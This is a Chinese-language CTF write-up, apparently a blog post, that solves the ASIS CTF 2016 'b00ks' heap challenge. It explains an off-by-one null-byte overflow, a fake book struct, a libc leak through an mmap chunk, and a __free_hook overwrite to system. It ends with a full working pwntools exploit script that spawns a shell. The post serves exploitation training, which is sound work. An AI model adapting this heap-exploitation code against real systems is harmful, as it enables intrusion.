堆中的off-by-one :ASIS CTF 2016:b00ks

ASIS CTF 2016:b00ks

最近在练习pwn题,主要看的是ctf竞赛权威指南这本书,感觉这个题太巧妙了,记录一下

首先拿到文件第一步查看检查:在这里插入图片描述
然后拿到IDA里面看:
在这里插入图片描述
在sub_b6d()函数中使用了一个自己写的read函数(这个函数存在一个off-by-one漏洞)
在这里插入图片描述
在这里插入图片描述

并且可以看到这里name存在off_202018

在这里插入图片描述
分析知道0ff_202010存的是book结构体
二者相差20个偏移在这里插入图片描述
打印就是规中规矩的了,然后看修改作者姓名的,发现仍然是sub_b6d函数,但是在修改的时候就只能溢出一个’\x00‘了,这个一般可以用来修改堆首,修改大小之类的,,但是本次的不涉及

分析完发现就只有一个字节的溢出,还有一些打印,修改,仔细一想不就是通过打印函数来泄露一些东西吗,修改是为了更好的泄露,
那大概的思路就有了,第一次通过打印泄露出堆地址,然后在泄露libc地址,最后修改mallco_hook或者free_hook获取shell
那具体怎么操作呢?又如何泄露libc?我们晓得通过mmap分配的堆块与libc存在固定偏移关系,所以可以通过分配一个超过128k的堆块(0x20000)来打印堆地址泄露libc

1. 首先第一步创建两个book,其中第二个book通过mmap分配
2. 通过print打印出两个堆的地址
3. edit第一个堆块的description来伪造一个fake book且让这个fake book指向book2
4. 通过修改author name来溢出一个空字节,使book1使其指向一个fake book
5. 再次打印可以得到堆的name ptr得到libc偏移地址
6. 然后修改fake book使其des指向free_hook,并再次修改book2将free_hook指向one_gadget
7. 然后删除book2即可获取到shell

第一步:

p.sendlineafter("name: ","A"*0x20)#author_name 
create(0xd0,"AAAA",0x20,"bbbb")#book1
create(0x21000,"/bin/sh",0x21000,"dddd")#book2
print_book()
p.recvuntil("A"*0x20)
book1_addr = u64(p.recvn(6).ljust(8,'\x00'))
print("book1_addr:",hex(book1_addr))
book2_addr = book1_addr + 0x30;
print("book2_addr:",hex(book2_addr))

在这里插入图片描述
拿到堆的地址了,第二步构建fake book

fake_book = p64(1) + p64(book2_addr + 0x8) +p64(book2_addr + 0x10) +p64(0x20)
edit(1,fake_book)

在这里插入图片描述
然后开始溢出,使其指向fake book打印出book的name ptr地址
在这里插入图片描述
在这里插入图片描述
得到偏移为0x5b0010
在这里插入图片描述
然后开始修改使book2的des->free_hook
edit(1, p64(free_hook))
在这里插入图片描述
在这里插入图片描述

在修改book2使其free->指向system
edit(2, p64(system_addr))
在这里插入图片描述

然后修改book的des->bin/sh

在这里插入图片描述

最后将book2 free掉就行了

在这里插入图片描述
拿到shell
最后附上瞎胡画得图还有代码
在这里插入图片描述

from pwn import *

p = process('./b00ks')
#p =remote("node4.buuoj.cn",28734)
context.log_level="debug"
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./b00ks')

def create(size,name,dsize,desc):
	p.sendlineafter("> ","1")
	p.recvuntil("Enter book name size: ")
	p.sendline(str(size))
	p.recvuntil("Enter book name (Max 32 chars): ")
	p.sendline(str(name))
	p.recvuntil("Enter book description size: ")
	p.sendline(str(dsize))
	p.recvuntil("Enter book description: ")
	p.sendline(desc)
def delete(idx):
	p.recvuntil("> ")
	p.sendline("2")
	p.recvuntil("Enter the book id you want to delete: ")
	p.sendline(str(idx))

def edit(idx,des):
	p.recvuntil("> ")
	p.sendline("3")
	p.recvuntil("Enter the book id you want to edit: ")
	p.sendline(str(idx))
	p.sendlineafter("description: ",des)

def print_book():
	p.recvuntil("> ")
	p.sendline("4")

def change(name):
	p.sendlineafter("> ",'5')
	p.sendlineafter("name: ",name)


p.sendlineafter("name: ","A"*0x20)#author_name   name he book xiangcha 0x20


create(0xd0,"AAAA",0x20,"bbbb")#book1
create(0x21000,"/bin/sh",0x21000,"dddd")#book2


print_book()
p.recvuntil("A"*0x20)
book1_addr = u64(p.recvn(6).ljust(8,'\x00'))
print("book1_addr:",hex(book1_addr))#0x55deae296130
book2_addr = book1_addr + 0x30;
print("book2_addr:",hex(book2_addr))#0x55deae296160

fake_book = p64(1) + p64(book2_addr + 0x8) +p64(book2_addr + 0x10) +p64(0x20)
edit(1,fake_book)


change("B"*0x20)
print_book()

p.recvuntil("Name: ")

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
print("leak_addr",hex(leak_addr)) #0x00007fcc19363010
libc_base = leak_addr -  0x5b0010
print("libc_base",hex(libc_base))

elf_base = libc_base + libc.sym['free'] - elf.plt['free']
system_addr = libc.sym['system'] + libc_base
sh_addr = libc.search('/bin/sh').next() + libc_base
free_hook = libc.sym['__free_hook'] + libc_base
print("system_addr",hex(system_addr))
print("sh_addr",hex(sh_addr))
print("free_hook",hex(free_hook))

edit(1, p64(free_hook))

edit(2, p64(system_addr))

edit(1, p64(sh_addr))
gdb.attach(p)
delete(2)
 
p.interactive()



  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值